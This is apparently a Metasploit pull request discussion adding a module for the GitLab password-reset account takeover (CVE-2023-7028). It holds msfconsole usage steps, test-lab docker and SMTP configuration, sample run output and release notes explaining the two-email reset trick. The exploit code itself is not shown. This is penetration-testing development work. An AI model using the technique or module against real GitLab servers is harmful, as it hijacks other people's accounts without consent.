gitlab password reset account takeover (CVE-2023-7028)

[h00die]

This PR adds an exploit for the recently disclosed Gitlab account takeover.

There isn't a check method, and I didn't discover a way to tell:

1. what the version is (another module had an API call, that was updated to v+1 over what I saw (aka v2 to v3) and the new version wanted auth first)
2. any difference between successful exploitation and unsuccessful.

I also didn't include the docker instructions as you still had to setup SMTP to receive the emails. I luckily had access to a vuln server and was able to use that to test against.

Verification

List the steps needed to make sure this thing works

• Install the application
• Start msfconsole
• Do: use auxiliary/admin/http/gitlab_password_reset_account_takeover
• Do: set targetemail [email]
• Do: set myemail [email]
• Do: run
• You should get a password reset email to take over the targeted account

[jvoisin]

I think we might need to implement some gitlab mixin, given the growing number of modules targeting it, if only to hack together some fingerprinting-based version divination methods.

[h00die]

I think we might need to implement some gitlab mixin, given the growing number of modules targeting it, if only to hack together some fingerprinting-based version divination methods.

But agree with you! More mixins the better

[cgranleese-r7]

To the tester, test this with the info -d command that will open the browser and verify if it renders or not.

[cdelafuente-r7]

I confirmed, it renders correctly:

[jheysel-r7]

I spent some time trying to setup a test environment and was unsuccessful so far. This blog post in particular seem to outline how to set up a gitlab environment with email capability for testing purposes. After following the setup instructions, sending a test email from irb says that it was successful but I was never able to actually receive the test email from the sendmail server.

In the screen shot below I was using some test @gmail addresses of mine. I figure that's why I wasn't receiving the email as I guess I was technically attempting to spoof my own email address. I assume I'll need to be sending from an email address attached to a local domain?

If anyone has any suggestions on how I might get my environment working or how we might be able to verify this PR's functionality I'd be happy to hear them.

[jheysel-r7]

Some notes for future travellers, I was attempting to test this in the following docker container running on Ubuntu 22.04:
docker-compose.yml:

services:
  gitlab_16_7_0:
    image: 'gitlab/gitlab-ce:16.7.0-ce.0'
    container_name: gitlab_16_7_0
    extra_hosts:
      - "dockerhost: 172.17.0.1"
    ports:
      - '6780:80'
      - '6743:443'
    volumes:
      - gitlab_16_7_0_config:/etc/gitlab
      - gitlab_16_7_0_logs:/var/log/gitlab
      - gitlab_16_7_0_data:/var/opt/gitlab
volumes:
  gitlab_16_7_0_config:
    driver: local
  gitlab_16_7_0_logs:
    driver: local
  gitlab_16_7_0_data:
    driver: local

msfuser@msfuser-virtual-machine:~/gitlab$ sudo apt-cache show sendmail | grep Version
Version: 8.15.2-22ubuntu3

/etc/mail/access:

Connect:172.10        RELAY
[email protected]    OK

/etc/gitlab/gitlab.rb - In the container (I've played alot with these settings, this was my most recent configuration):

gitlab_rails['smtp_enable'] = true
gitlab_rails['smtp_address'] = "dockerhost"
gitlab_rails['smtp_port'] = 25
gitlab_rails['smtp_domain'] = "example.com"
gitlab_rails['smtp_enable_starttls_auto' ] = false
gitlab_rails['smtp_tls'] = false
gitlab_rails['smtp_ssl'] = false
gitlab_rails['smtp_force_ssl'] = false

gitlab_rails['gitlab_email_from'] = '[email protected]'
gitlab_rails['gitlab_email_display_name'] = 'msfuser'

I tried changing the sending email address from my gmail address to [email protected], with no success. I'm not sure if that was suppose to work or if there's further misconfigurations in my environment.

[h00die]

My only suggestions are:

1. google seems to be more stringent about incoming emails, maybe try outlook instead?
2. maybe try to keep it all local domained, maybe @zeroSteiner has an exchange server that could be used?
3. maybe set the smtp server to google itself so that way google doesn't reject the email at the boarder

[cdelafuente-r7]

Thank you @h00die and @jheysel-r7 for your notes about installing a test environment. I setup a local email server and correctly received the reset password emails in both email addresses (TARGETEMAIL and MYEMAIL). everything looks good to me. I'll go ahead and land it.

Example output

msf6 auxiliary(admin/http/gitlab_password_reset_account_takeover) > run verbose=true rhosts=192.168.144.100 myemail=n00tmeg@localhost targetemail=msfuser@localhost

[*] Obtaining CSRF token
[+] Received CSRF Token: g0PccjxqOMylizHPy0mGjBqWWhXPcpljWWsEuLFHH_GXWDFJff9ilwtaiu2SPDSKKiPH2gTU4Xj9ZuFgUruyow
[*] Sending password reset request
[+] Sent, check n00tmeg@localhost for a possible password reset link (failure is blind)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Received emails

[cdelafuente-r7]

Release Notes

This adds and exploit module that leverages an account-take-over vulnerability to take control of a gitlab account without user interaction. The vulnerability lies in the password reset functionality. Its possible to provide 2 emails and the reset code will be sent to both. It is therefore possible to provide the e-mail address of the target account as well as that of one we control, and to reset the password.